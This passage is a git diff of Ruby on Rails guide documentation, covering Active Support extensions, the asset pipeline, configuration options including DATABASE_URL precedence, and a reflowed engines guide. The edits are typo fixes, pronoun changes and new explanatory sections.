NOTE: Defined in `active_support/core_ext/object/json.rb`.
@@ -624,7 +624,7 @@ NOTE: Defined in `active_support/core_ext/module/attr_internal.rb`.
#### Module Attributes
-The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are analogous to the `cattr_*` macros defined for class. Check [Class Attributes](#class-attributes).
+The macros `mattr_reader`, `mattr_writer`, and `mattr_accessor` are the same as the `cattr_*` macros defined for class. In fact, the `cattr_*` macros are just aliases for the `mattr_*` macros. Check [Class Attributes](#class-attributes).
For example, the dependencies mechanism uses them:
@@ -735,7 +735,7 @@ X.local_constants # => [:X1, :X2, :Y]
X::Y.local_constants # => [:Y1, :X1]
```
-The names are returned as symbols. (The deprecated method `local_constant_names` returns strings.)
+The names are returned as symbols.
NOTE: Defined in `active_support/core_ext/module/introspection.rb`.
@@ -888,7 +888,7 @@ class User < ActiveRecord::Base
end
```
-With that configuration you get a user's name via his profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
+With that configuration you get a user's name via their profile, `user.profile.name`, but it could be handy to still be able to access such attribute directly:
```ruby
class User < ActiveRecord::Base
@@ -1119,7 +1119,7 @@ end
A model may find it useful to set `:instance_accessor` to `false` as a way to prevent mass-assignment from setting the attribute.
-NOTE: Defined in `active_support/core_ext/class/attribute_accessors.rb`.
+NOTE: Defined in `active_support/core_ext/module/attribute_accessors.rb`. `active_support/core_ext/class/attribute_accessors.rb` is deprecated and will be removed in Ruby on Rails 4.2.
### Subclasses & Descendants
@@ -2285,8 +2285,6 @@ The defaults for these options can be localized, their keys are:
| `:words_connector` | `support.array.words_connector` |
| `:last_word_connector` | `support.array.last_word_connector` |
-Options `:connector` and `:skip_last_comma` are deprecated.
-
NOTE: Defined in `active_support/core_ext/array/conversions.rb`.
#### `to_formatted_s`
@@ -2909,6 +2907,16 @@ The method `with_indifferent_access` returns an `ActiveSupport::HashWithIndiffer
NOTE: Defined in `active_support/core_ext/hash/indifferent_access.rb`.
+### Compacting
+
+The methods `compact` and `compact!` return a Hash without items with `nil` value.
+
+```ruby
+{a: 1, b: 2, c: nil}.compact # => {a: 1, b: 2}
+```
+
+NOTE: Defined in `active_support/core_ext/hash/compact.rb`.
+
Extensions to `Regexp`
----------------------
diff --git a/guides/source/api_documentation_guidelines.md b/guides/source/api_documentation_guidelines.md
index 98ead9570f..311cc23cf0 100644
--- a/guides/source/api_documentation_guidelines.md
+++ b/guides/source/api_documentation_guidelines.md
@@ -42,10 +42,32 @@ Spell names correctly: Arel, Test::Unit, RSpec, HTML, MySQL, JavaScript, ERB. Wh
Use the article "an" for "SQL", as in "an SQL statement". Also "an SQLite database".
+Prefer wordings that avoid "you"s and "your"s. For example, instead of
+
+```markdown
+If you need to use `return` statements in your callbacks, it is recommended that you explicitly define them as methods.
+```
+
+use this style:
+
+```markdown
+If `return` is needed it is recommended to explicitly define a method.
+```
+
+That said, when using pronouns in reference to a hypothetical person, such as "a
+user with a session cookie", gender neutral pronouns (they/their/them) should be
+used. Instead of:
+
+* he or she... use they.
+* him or her... use them.
+* his or her... use their.
+* his or hers... use theirs.
+* himself or herself... use themselves.
+
English
-------
-Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc).. See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
+Please use American English (<em>color</em>, <em>center</em>, <em>modularize</em>, etc). See [a list of American and British English spelling differences here](http://en.wikipedia.org/wiki/American_and_British_English_spelling_differences).
Example Code
------------
diff --git a/guides/source/asset_pipeline.md b/guides/source/asset_pipeline.md
index 39448e92d5..bce5d6c55f 100644
--- a/guides/source/asset_pipeline.md
+++ b/guides/source/asset_pipeline.md
@@ -26,14 +26,14 @@ been extracted out of the framework into the
The asset pipeline is enabled by default.
-You can disable the asset pipeline while creating a new application by
+You can disable the asset pipeline while creating a new application by
passing the `--skip-sprockets` option.
```bash
rails new appname --skip-sprockets
```
-Rails 4 automatically adds the `sass-rails`, `coffee-rails` and `uglifier`
+Rails 4 automatically adds the `sass-rails`, `coffee-rails` and `uglifier`
gems to your Gemfile, which are used by Sprockets for asset compression:
```ruby
@@ -42,7 +42,7 @@ gem 'uglifier'
gem 'coffee-rails'
```
-Using the `--skip-sprockets` option will prevent Rails 4 from adding
+Using the `--skip-sprockets` option will prevent Rails 4 from adding
`sass-rails` and `uglifier` to Gemfile, so if you later want to enable
the asset pipeline you will have to add those gems to your Gemfile. Also,
creating an application with the `--skip-sprockets` option will generate
@@ -54,7 +54,7 @@ the comment operator on that line to later enable the asset pipeline:
# require "sprockets/railtie"
```
-To set asset compression methods, set the appropriate configuration options
+To set asset compression methods, set the appropriate configuration options
in `production.rb` - `config.assets.css_compressor` for your CSS and
`config.assets.js_compressor` for your Javascript:
@@ -228,7 +228,7 @@ Pipeline assets can be placed inside an application in one of three locations:
* `app/assets` is for assets that are owned by the application, such as custom
images, JavaScript files or stylesheets.
-* `lib/assets` is for your own libraries' code that doesn't really fit into the
+* `lib/assets` is for your own libraries' code that doesn't really fit into the
scope of the application or those libraries which are shared across applications.
* `vendor/assets` is for assets that are owned by outside entities, such as
@@ -350,8 +350,8 @@ Alternatively, a request for a file with an MD5 hash such as
way. How these hashes are generated is covered in the [In
Production](#in-production) section later on in this guide.
-Sprockets will also look through the paths specified in `config.assets.paths`,
-which includes the standard application paths and any paths added by Rails
+Sprockets will also look through the paths specified in `config.assets.paths`,
+which includes the standard application paths and any paths added by Rails
engines.
Images can also be organized into subdirectories if required, and then can be
@@ -503,7 +503,7 @@ of these Sprockets directives. Using Sprockets directives all Sass files exist
within their own scope, making variables or mixins only available within the
document they were defined in. You can do file globbing as well using
`@import "*"`, and `@import "**/*"` to add the whole tree equivalent to how
-`require_tree` works. Check the [sass-rails
+`require_tree` works. Check the [sass-rails
documentation](https://github.com/rails/sass-rails#features) for more info and
important caveats.
@@ -532,7 +532,7 @@ and CSS file. The example used before was a controller called "projects", which
generated an `app/assets/javascripts/projects.js.coffee` and an
`app/assets/stylesheets/projects.css.scss` file.
-In development mode, or if the asset pipeline is disabled, when these files are
+In development mode, or if the asset pipeline is disabled, when these files are
requested they are processed by the processors provided by the `coffee-script`
and `sass` gems and then sent back to the browser as JavaScript and CSS
respectively. When asset pipelining is enabled, these files are preprocessed and
@@ -577,6 +577,33 @@ would generate this HTML:
The `body` param is required by Sprockets.
+### Runtime Error Checking
+
+By default the asset pipeline will check for potential errors in development mode during
+runtime. To disable this behavior you can set:
+
+```ruby
+config.assets.raise_runtime_errors = false
+```
+
+When `raise_runtime_errors` is set to `false` sprockets will not check that dependencies of assets are declared properly. Here is a scenario where you must tell the asset pipeline about a dependency:
+
+If you have `application.css.erb` that references `logo.png` like this:
+
+```css
+#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
+```
+
+Then you must declare that `logo.png` is a dependency of `application.css.erb`, so when the image gets re-compiled, the css file does as well. You can do this using the `//= depend_on_asset` declaration:
+
+```css
+//= depend_on_asset "logo.png"
+#logo { background: url(<%= asset_data_uri 'logo.png' %>) }
+```
+
+Without this declaration you may experience strange behavior when pushing to production that is difficult to debug. When you have `raise_runtime_errors` set to `true`, dependencies will be checked at runtime so you can ensure that all dependencies are met.
+
+
### Turning Debugging Off
You can turn off debug mode by updating `config/environments/development.rb` to
@@ -611,7 +638,7 @@ Debug mode can also be enabled in Rails helper methods:
The `:debug` option is redundant if debug mode is already on.
-You can also enable compression in development mode as a sanity check, and
+You can also enable compression in development mode as a sanity check, and
disable it on-demand as required for debugging.
In Production
diff --git a/guides/source/configuring.md b/guides/source/configuring.md
index 8ac34c9716..412aecadd5 100644
--- a/guides/source/configuring.md
+++ b/guides/source/configuring.md
@@ -66,6 +66,9 @@ These configuration methods are to be called on a `Rails::Railtie` object, such
* `config.action_view.cache_template_loading` controls whether or not templates should be reloaded on each request. Defaults to whatever is set for `config.cache_classes`.
+* `config.beginning_of_week` sets the default beginning of week for the
+application. Accepts a valid week day symbol (e.g. `:monday`).
+
* `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, or an object that implements the cache API. Defaults to `:file_store` if the directory `tmp/cache` exists, and to `:memory_store` otherwise.
* `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to true.
@@ -129,14 +132,14 @@ numbers. New applications filter out passwords by adding the following `config.f
* `config.time_zone` sets the default time zone for the application and enables time zone awareness for Active Record.
-* `config.beginning_of_week` sets the default beginning of week for the application. Accepts a valid week day symbol (e.g. `:monday`).
-
### Configuring Assets
* `config.assets.enabled` a flag that controls whether the asset
pipeline is enabled. It is set to true by default.
-* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/production.rb`.
+*`config.assets.raise_runtime_errors`* Set this flag to `true` to enable additional runtime error checking. Recommended in `config/environments/development.rb` to minimize unexpected behavior when deploying to `production`.
+
+* `config.assets.compress` a flag that enables the compression of compiled assets. It is explicitly set to true in `config/environments/production.rb`.
* `config.assets.css_compressor` defines the CSS compressor to use. It is set by default by `sass-rails`. The unique alternative value at the moment is `:yui`, which uses the `yui-compressor` gem.
@@ -243,8 +246,14 @@ config.middleware.delete "Rack::MethodOverride"
### Configuring i18n
+All these configuration options are delegated to the `I18n` library.
+
+* `config.i18n.available_locales` whitelists the available locales for the app. Defaults to all locale keys found in locale files, usually only `:en` on a new application.
+
* `config.i18n.default_locale` sets the default locale of an application used for i18n. Defaults to `:en`.
+* `config.i18n.enforce_available_locales` ensures that all locales passed through i18n must be declared in the `available_locales` list, raising an `I18n::InvalidLocale` exception when setting an unavailable locale. Defaults to `true`. It is recommended not to disable this option unless strongly required, since this works as a security measure against setting any invalid locale from user input.
+
* `config.i18n.load_path` sets the path Rails uses to look for locale files. Defaults to `config/locales/*.{yml,rb}`.
### Configuring Active Record
@@ -281,6 +290,8 @@ config.middleware.delete "Rack::MethodOverride"
* `config.active_record.attribute_types_cached_by_default` sets the attribute types that `ActiveRecord::AttributeMethods` will cache by default on reads. The default is `[:datetime, :timestamp, :time, :date]`.
+* `config.active_record.maintain_test_schema` is a boolean value which controls whether Active Record should try to keep your test database schema up-to-date with `db/schema.rb` (or `db/structure.sql`) when you run your tests. The default is true.
+
The MySQL adapter adds one additional configuration option:
* `ActiveRecord::ConnectionAdapters::MysqlAdapter.emulate_booleans` controls whether Active Record will consider all `tinyint(1)` columns in a MySQL database to be booleans and is true by default.
@@ -329,6 +340,18 @@ The schema dumper adds one additional configuration option:
* `config.action_dispatch.tld_length` sets the TLD (top-level domain) length for the application. Defaults to `1`.
+* `config.action_dispatch.http_auth_salt` sets the HTTP Auth salt value. Defaults
+to `'http authentication'`.
+
+* `config.action_dispatch.signed_cookie_salt` sets the signed cookies salt value.
+Defaults to `'signed cookie'`.
+
+* `config.action_dispatch.encrypted_cookie_salt` sets the encrypted cookies salt
+value. Defaults to `'encrypted cookie'`.
+
+* `config.action_dispatch.encrypted_signed_cookie_salt` sets the signed
+encrypted cookies salt value. Defaults to `'signed encrypted cookie'`.
+
* `ActionDispatch::Callbacks.before` takes a block of code to run before the request.
* `ActionDispatch::Callbacks.to_prepare` takes a block to run after `ActionDispatch::Callbacks.before`, but before the request. Runs for every request in `development` mode, but only once for `production` or environments with `cache_classes` set to `true`.
@@ -432,14 +455,131 @@ There are a few configuration options available in Active Support:
### Configuring a Database
-Just about every Rails application will interact with a database. The database to use is specified in a configuration file called `config/database.yml`. If you open this file in a new Rails application, you'll see a default database configured to use SQLite3. The file contains sections for three different environments in which Rails can run by default:
+Just about every Rails application will interact with a database. You can connect to the database by setting an environment variable `ENV['DATABASE_URL']` or by using a configuration file called `config/database.yml`.
+
+Using the `config/database.yml` file you can specify all the information needed to access your database:
+
+```yaml
+development:
+ adapter: postgresql
+ database: blog_development
+ pool: 5
+```
+
+This will connect to the database named `blog_development` using the `postgresql` adapter. This same information can be stored in a URL and provided via an environment variable like this:
+
+```ruby
+> puts ENV['DATABASE_URL']
+postgresql://localhost/blog_development?pool=5
+```
+
+The `config/database.yml` file contains sections for three different environments in which Rails can run by default:
* The `development` environment is used on your development/local computer as you interact manually with the application.
* The `test` environment is used when running automated tests.
* The `production` environment is used when you deploy your application for the world to use.
+If you wish, you can manually specify a URL inside of your `config/database.yml`
+
+```
+development:
+ url: postgresql://localhost/blog_development?pool=5
+```
+
+The `config/database.yml` file can contain ERB tags `<%= %>`. Anything in the tags will be evaluated as Ruby code. You can use this to pull out data from an environment variable or to perform calculations to generate the needed connection information.
+
+
TIP: You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below.
+
+### Connection Preference
+
+Since there are two ways to set your connection, via environment variable it is important to understand how the two can interact.
+
+If you have an empty `config/database.yml` file but your `ENV['DATABASE_URL']` is present, then Rails will connect to the database via your environment variable:
+
+```
+$ cat config/database.yml
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+```
+
+If you have a `config/database.yml` but no `ENV['DATABASE_URL']` then this file will be used to connect to your database:
+
+```
+$ cat config/database.yml
+development:
+ adapter: postgresql
+ database: my_database
+ host: localhost
+
+$ echo $DATABASE_URL
+```
+
+If you have both `config/database.yml` and `ENV['DATABASE_URL']` set then Rails will merge the configuration together. To better understand this we must see some examples.
+
+When duplicate connection information is provided the environment variable will take precedence:
+
+```
+$ cat config/database.yml
+development:
+ adapter: sqlite3
+ database: NOT_my_database
+ host: localhost
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ rails runner 'puts ActiveRecord::Base.connections'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database"}}
+```
+
+Here the adapter, host, and database match the information in `ENV['DATABASE_URL']`.
+
+If non-duplicate information is provided you will get all unique values, environment variable still takes precedence in cases of any conflicts.
+
+```
+$ cat config/database.yml
+development:
+ adapter: sqlite3
+ pool: 5
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ rails runner 'puts ActiveRecord::Base.connections'
+{"development"=>{"adapter"=>"postgresql", "host"=>"localhost", "database"=>"my_database", "pool"=>5}}
+```
+
+Since pool is not in the `ENV['DATABASE_URL']` provided connection information its information is merged in. Since `adapter` is duplicate, the `ENV['DATABASE_URL']` connection information wins.
+
+The only way to explicitly not use the connection information in `ENV['DATABASE_URL']` is to specify an explicit URL connectinon using the `"url"` sub key:
+
+```
+$ cat config/database.yml
+development:
+ url: sqlite3://localhost/NOT_my_database
+
+$ echo $DATABASE_URL
+postgresql://localhost/my_database
+
+$ rails runner 'puts ActiveRecord::Base.connections'
+{"development"=>{"adapter"=>"sqlite3", "host"=>"localhost", "database"=>"NOT_my_database"}}
+```
+
+Here the connection information in `ENV['DATABASE_URL']` is ignored, note the different adapter and database name.
+
+Since it is possible to embed ERB in your `config/database.yml` it is best practice to explicitly show you are using the `ENV['DATABASE_URL']` to connect to your database. This is especially useful in production since you should not commit secrets like your database password into your source control (such as Git).
+
+```
+$ cat config/database.yml
+production:
+ url: <%= ENV['DATABASE_URL'] %>
+```
+
+Now the behavior is clear, that we are only using the connection information in `ENV['DATABASE_URL']`.
+
#### Configuring an SQLite3 Database
Rails comes with built-in support for [SQLite3](http://www.sqlite.org), which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using an SQLite database when creating a new project, but you can always change it later.
@@ -775,7 +915,7 @@ error similar to given below will be thrown.
ActiveRecord::ConnectionTimeoutError - could not obtain a database connection within 5 seconds. The max pool size is currently 5; consider increasing it:
```
-If you get the above error, you might want to increase the size of connection
+If you get the above error, you might want to increase the size of connection
pool by incrementing the `pool` option in `database.yml`
NOTE. If you have enabled `Rails.threadsafe!` mode then there could be a chance that several threads may be accessing multiple connections simultaneously. So depending on your current request load, you could very well have multiple threads contending for a limited amount of connections.
diff --git a/guides/source/contributing_to_ruby_on_rails.md b/guides/source/contributing_to_ruby_on_rails.md
index a6956eb009..814237ba22 100644
--- a/guides/source/contributing_to_ruby_on_rails.md
+++ b/guides/source/contributing_to_ruby_on_rails.md
@@ -55,7 +55,7 @@ can expect it to be marked "invalid" as soon as it's reviewed.
Sometimes, the line between 'bug' and 'feature' is a hard one to draw.
Generally, a feature is anything that adds new behavior, while a bug is
-anything that fixes already existing behavior that is mis-behaving. Sometimes,
+anything that fixes already existing behavior that is misbehaving. Sometimes,
the core team will have to make a judgement call. That said, the distinction
generally just affects which release your patch will get in to; we love feature
submissions! They just won't get backported to maintenance branches.
diff --git a/guides/source/credits.html.erb b/guides/source/credits.html.erb
index 5beae9c29b..7c6858fa2c 100644
--- a/guides/source/credits.html.erb
+++ b/guides/source/credits.html.erb
@@ -76,5 +76,5 @@ Oscar Del Ben is a software engineer at <a href="http://www.wildfireapp.com/">Wi
<% end %>
<%= author('Akshay Surve', 'startupjockey', 'akshaysurve.jpg') do %>
- Akshay Surve is the Founder at <a href="http://www.deltax.com">DeltaX</a>, hackathon specialist, a midnight code junkie and ocassionally writes prose. You can connect with him on <a href="https://twitter.com/akshaysurve">Twitter</a>, <a href="http://www.linkedin.com/in/akshaysurve">Linkedin</a>, <a href="http://www.akshaysurve.com/">Personal Blog</a> or <a href="http://www.quora.com/Akshay-Surve">Quora</a>.
+ Akshay Surve is the Founder at <a href="http://www.deltax.com">DeltaX</a>, hackathon specialist, a midnight code junkie and occasionally writes prose. You can connect with him on <a href="https://twitter.com/akshaysurve">Twitter</a>, <a href="http://www.linkedin.com/in/akshaysurve">Linkedin</a>, <a href="http://www.akshaysurve.com/">Personal Blog</a> or <a href="http://www.quora.com/Akshay-Surve">Quora</a>.
<% end %>
diff --git a/guides/source/development_dependencies_install.md b/guides/source/development_dependencies_install.md
index c4e5789a1a..4ee43b6a97 100644
--- a/guides/source/development_dependencies_install.md
+++ b/guides/source/development_dependencies_install.md
@@ -233,6 +233,8 @@ mysql> GRANT ALL PRIVILEGES ON activerecord_unittest.*
to 'rails'@'localhost';
mysql> GRANT ALL PRIVILEGES ON activerecord_unittest2.*
to 'rails'@'localhost';
+mysql> GRANT ALL PRIVILEGES ON inexistent_activerecord_unittest.*
+ to 'rails'@'localhost';
```
and create the test databases:
diff --git a/guides/source/engines.md b/guides/source/engines.md
index 2266b1fd7f..bbd63bb892 100644
--- a/guides/source/engines.md
+++ b/guides/source/engines.md
@@ -1,7 +1,9 @@
Getting Started with Engines
============================
-In this guide you will learn about engines and how they can be used to provide additional functionality to their host applications through a clean and very easy-to-use interface.
+In this guide you will learn about engines and how they can be used to provide
+additional functionality to their host applications through a clean and very
+easy-to-use interface.
After reading this guide, you will know:
@@ -16,26 +18,59 @@ After reading this guide, you will know:
What are engines?
-----------------
-Engines can be considered miniature applications that provide functionality to their host applications. A Rails application is actually just a "supercharged" engine, with the `Rails::Application` class inheriting a lot of its behavior from `Rails::Engine`.
-
-Therefore, engines and applications can be thought of almost the same thing, just with subtle differences, as you'll see throughout this guide. Engines and applications also share a common structure.
-
-Engines are also closely related to plugins where the two share a common `lib` directory structure and are both generated using the `rails plugin new` generator. The difference being that an engine is considered a "full plugin" by Rails as indicated by the `--full` option that's passed to the generator command, but this guide will refer to them simply as "engines" throughout. An engine **can** be a plugin, and a plugin **can** be an engine.
-
-The engine that will be created in this guide will be called "blorgh". The engine will provide blogging functionality to its host applications, allowing for new posts and comments to be created. At the beginning of this guide, you will be working solely within the engine itself, but in later sections you'll see how to hook it into an application.
-
-Engines can also be isolated from their host applications. This means that an application is able to have a path provided by a routing helper such as `posts_path` and use an engine also that provides a path also called `posts_path`, and the two would not clash. Along with this, controllers, models and table names are also namespaced. You'll see how to do this later in this guide.
-
-It's important to keep in mind at all times that the application should **always** take precedence over its engines. An application is the object that has final say in what goes on in the universe (with the universe being the application's environment) where the engine should only be enhancing it, rather than changing it drastically.
-
-To see demonstrations of other engines, check out [Devise](https://github.com/plataformatec/devise), an engine that provides authentication for its parent applications, or [Forem](https://github.com/radar/forem), an engine that provides forum functionality. There's also [Spree](https://github.com/spree/spree) which provides an e-commerce platform, and [RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine.
-
-Finally, engines would not have been possible without the work of James Adam, Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever meet them, don't forget to say thanks!
+Engines can be considered miniature applications that provide functionality to
+their host applications. A Rails application is actually just a "supercharged"
+engine, with the `Rails::Application` class inheriting a lot of its behavior
+from `Rails::Engine`.
+
+Therefore, engines and applications can be thought of almost the same thing,
+just with subtle differences, as you'll see throughout this guide. Engines and
+applications also share a common structure.
+
+Engines are also closely related to plugins. The two share a common `lib`
+directory structure, and are both generated using the `rails plugin new`
+generator. The difference is that an engine is considered a "full plugin" by
+Rails (as indicated by the `--full` option that's passed to the generator
+command). This guide will refer to them simply as "engines" throughout. An
+engine **can** be a plugin, and a plugin **can** be an engine.
+
+The engine that will be created in this guide will be called "blorgh". The
+engine will provide blogging functionality to its host applications, allowing
+for new posts and comments to be created. At the beginning of this guide, you
+will be working solely within the engine itself, but in later sections you'll
+see how to hook it into an application.
+
+Engines can also be isolated from their host applications. This means that an
+application is able to have a path provided by a routing helper such as
+`posts_path` and use an engine also that provides a path also called
+`posts_path`, and the two would not clash. Along with this, controllers, models
+and table names are also namespaced. You'll see how to do this later in this
+guide.
+
+It's important to keep in mind at all times that the application should
+**always** take precedence over its engines. An application is the object that
+has final say in what goes on in the universe (with the universe being the
+application's environment) where the engine should only be enhancing it, rather
+than changing it drastically.
+
+To see demonstrations of other engines, check out
+[Devise](https://github.com/plataformatec/devise), an engine that provides
+authentication for its parent applications, or
+[Forem](https://github.com/radar/forem), an engine that provides forum
+functionality. There's also [Spree](https://github.com/spree/spree) which
+provides an e-commerce platform, and
+[RefineryCMS](https://github.com/refinery/refinerycms), a CMS engine.
+
+Finally, engines would not have been possible without the work of James Adam,
+Piotr Sarnacki, the Rails Core Team, and a number of other people. If you ever
+meet them, don't forget to say thanks!
Generating an engine
--------------------
-To generate an engine, you will need to run the plugin generator and pass it options as appropriate to the need. For the "blorgh" example, you will need to create a "mountable" engine, running this command in a terminal:
+To generate an engine, you will need to run the plugin generator and pass it
+options as appropriate to the need. For the "blorgh" example, you will need to
+create a "mountable" engine, running this command in a terminal:
```bash
$ rails plugin new blorgh --mountable
@@ -47,7 +82,8 @@ The full list of options for the plugin generator may be seen by typing:
$ rails plugin --help
```
-The `--full` option tells the generator that you want to create an engine, including a skeleton structure by providing the following:
+The `--full` option tells the generator that you want to create an engine,
+including a skeleton structure that provides the following:
* An `app` directory tree
* A `config/routes.rb` file:
@@ -56,7 +92,9 @@ The `--full` option tells the generator that you want to create an engine, inclu
Rails.application.routes.draw do
end
```
- * A file at `lib/blorgh/engine.rb` which is identical in function to a standard Rails application's `config/application.rb` file:
+
+ * A file at `lib/blorgh/engine.rb`, which is identical in function to a
+ * standard Rails application's `config/application.rb` file:
```ruby
module Blorgh
@@ -65,7 +103,9 @@ The `--full` option tells the generator that you want to create an engine, inclu
end
```
-The `--mountable` option tells the generator that you want to create a "mountable" and namespace-isolated engine. This generator will provide the same skeleton structure as would the `--full` option, and will add:
+The `--mountable` option tells the generator that you want to create a
+"mountable" and namespace-isolated engine. This generator will provide the same
+skeleton structure as would the `--full` option, and will add:
* Asset manifest files (`application.js` and `application.css`)
* A namespaced `ApplicationController` stub
@@ -88,23 +128,32 @@ The `--mountable` option tells the generator that you want to create a "mountabl
end
```
-Additionally, the `--mountable` option tells the generator to mount the engine inside the dummy testing application located at `test/dummy` by adding the following to the dummy application's routes file at `test/dummy/config/routes.rb`:
+Additionally, the `--mountable` option tells the generator to mount the engine
+inside the dummy testing application located at `test/dummy` by adding the
+following to the dummy application's routes file at
+`test/dummy/config/routes.rb`:
```ruby
mount Blorgh::Engine, at: "blorgh"
```
-### Inside an engine
+### Inside an Engine
-#### Critical files
+#### Critical Files
-At the root of this brand new engine's directory lives a `blorgh.gemspec` file. When you include the engine into an application later on, you will do so with this line in the Rails application's `Gemfile`:
+At the root of this brand new engine's directory lives a `blorgh.gemspec` file.
+When you include the engine into an application later on, you will do so with
+this line in the Rails application's `Gemfile`:
```ruby
gem 'blorgh', path: "vendor/engines/blorgh"
```
-Don't forget to run `bundle install` as usual. By specifying it as a gem within the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file and requiring a file within the `lib` directory called `lib/blorgh.rb`. This file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`) and defines a base module called `Blorgh`.
+Don't forget to run `bundle install` as usual. By specifying it as a gem within
+the `Gemfile`, Bundler will load it as such, parsing this `blorgh.gemspec` file
+and requiring a file within the `lib` directory called `lib/blorgh.rb`. This
+file requires the `blorgh/engine.rb` file (located at `lib/blorgh/engine.rb`)
+and defines a base module called `Blorgh`.
```ruby
require "blorgh/engine"
@@ -113,7 +162,10 @@ module Blorgh
end
```
-TIP: Some engines choose to use this file to put global configuration options for their engine. It's a relatively good idea, and so if you want to offer configuration options, the file where your engine's `module` is defined is perfect for that. Place the methods inside the module and you'll be good to go.
+TIP: Some engines choose to use this file to put global configuration options
+for their engine. It's a relatively good idea, so if you want to offer
+configuration options, the file where your engine's `module` is defined is
+perfect for that. Place the methods inside the module and you'll be good to go.
Within `lib/blorgh/engine.rb` is the base class for the engine:
@@ -125,43 +177,94 @@ module Blorgh
end
```
-By inheriting from the `Rails::Engine` class, this gem notifies Rails that there's an engine at the specified path, and will correctly mount the engine inside the application, performing tasks such as adding the `app` directory of the engine to the load path for models, mailers, controllers and views.
-
-The `isolate_namespace` method here deserves special notice. This call is responsible for isolating the controllers, models, routes and other things into their own namespace, away from similar components inside the application. Without this, there is a possibility that the engine's components could "leak" into the application, causing unwanted disruption, or that important engine components could be overridden by similarly named things within the application. One of the examples of such conflicts are helpers. Without calling `isolate_namespace`, engine's helpers would be included in an application's controllers.
-
-NOTE: It is **highly** recommended that the `isolate_namespace` line be left within the `Engine` class definition. Without it, classes generated in an engine **may** conflict with an application.
-
-What this isolation of the namespace means is that a model generated by a call to `rails g model` such as `rails g model post` won't be called `Post`, but instead be namespaced and called `Blorgh::Post`. In addition, the table for the model is namespaced, becoming `blorgh_posts`, rather than simply `posts`. Similar to the model namespacing, a controller called `PostsController` becomes `Blorgh::PostsController` and the views for that controller will not be at `app/views/posts`, but `app/views/blorgh/posts` instead. Mailers are namespaced as well.
-
-Finally, routes will also be isolated within the engine. This is one of the most important parts about namespacing, and is discussed later in the [Routes](#routes) section of this guide.
-
-#### `app` directory
-
-Inside the `app` directory are the standard `assets`, `controllers`, `helpers`, `mailers`, `models` and `views` directories that you should be familiar with from an application. The `helpers`, `mailers` and `models` directories are empty and so aren't described in this section. We'll look more into models in a future section, when we're writing the engine.
-
-Within the `app/assets` directory, there are the `images`, `javascripts` and `stylesheets` directories which, again, you should be familiar with due to their similarity to an application. One difference here however is that each directory contains a sub-directory with the engine name. Because this engine is going to be namespaced, its assets should be too.
-
-Within the `app/controllers` directory there is a `blorgh` directory and inside that a file called `application_controller.rb`. This file will provide any common functionality for the controllers of the engine. The `blorgh` directory is where the other controllers for the engine will go. By placing them within this namespaced directory, you prevent them from possibly clashing with identically-named controllers within other engines or even within the application.
-
-NOTE: The `ApplicationController` class inside an engine is named just like a Rails application in order to make it easier for you to convert your applications into engines.
-
-Lastly, the `app/views` directory contains a `layouts` folder which contains a file at `blorgh/application.html.erb` which allows you to specify a layout for the engine. If this engine is to be used as a stand-alone engine, then you would add any customization to its layout in this file, rather than the application's `app/views/layouts/application.html.erb` file.
-
-If you don't want to force a layout on to users of the engine, then you can delete this file and reference a different layout in the controllers of your engine.
-
-#### `bin` directory
-
-This directory contains one file, `bin/rails`, which enables you to use the `rails` sub-commands and generators just like you would within an application. This means that you will very easily be able to generate new controllers and models for this engine by running commands like this:
+By inheriting from the `Rails::Engine` class, this gem notifies Rails that
+there's an engine at the specified path, and will correctly mount the engine
+inside the application, performing tasks such as adding the `app` directory of
+the engine to the load path for models, mailers, controllers and views.
+
+The `isolate_namespace` method here deserves special notice. This call is
+responsible for isolating the controllers, models, routes and other things into
+their own namespace, away from similar components inside the application.
+Without this, there is a possibility that the engine's components could "leak"
+into the application, causing unwanted disruption, or that important engine
+components could be overridden by similarly named things within the application.
+One of the examples of such conflicts is helpers. Without calling
+`isolate_namespace`, the engine's helpers would be included in an application's
+controllers.
+
+NOTE: It is **highly** recommended that the `isolate_namespace` line be left
+within the `Engine` class definition. Without it, classes generated in an engine
+**may** conflict with an application.
+
+What this isolation of the namespace means is that a model generated by a call
+to `rails g model`, such as `rails g model post`, won't be called `Post`, but
+instead be namespaced and called `Blorgh::Post`. In addition, the table for the
+model is namespaced, becoming `blorgh_posts`, rather than simply `posts`.
+Similar to the model namespacing, a controller called `PostsController` becomes
+`Blorgh::PostsController` and the views for that controller will not be at
+`app/views/posts`, but `app/views/blorgh/posts` instead. Mailers are namespaced
+as well.
+
+Finally, routes will also be isolated within the engine. This is one of the most
+important parts about namespacing, and is discussed later in the
+[Routes](#routes) section of this guide.
+
+#### `app` Directory
+
+Inside the `app` directory are the standard `assets`, `controllers`, `helpers`,
+`mailers`, `models` and `views` directories that you should be familiar with
+from an application. The `helpers`, `mailers` and `models` directories are
+empty, so they aren't described in this section. We'll look more into models in
+a future section, when we're writing the engine.
+
+Within the `app/assets` directory, there are the `images`, `javascripts` and
+`stylesheets` directories which, again, you should be familiar with due to their
+similarity to an application. One difference here, however, is that each
+directory contains a sub-directory with the engine name. Because this engine is
+going to be namespaced, its assets should be too.
+
+Within the `app/controllers` directory there is a `blorgh` directory that
+contains a file called `application_controller.rb`. This file will provide any
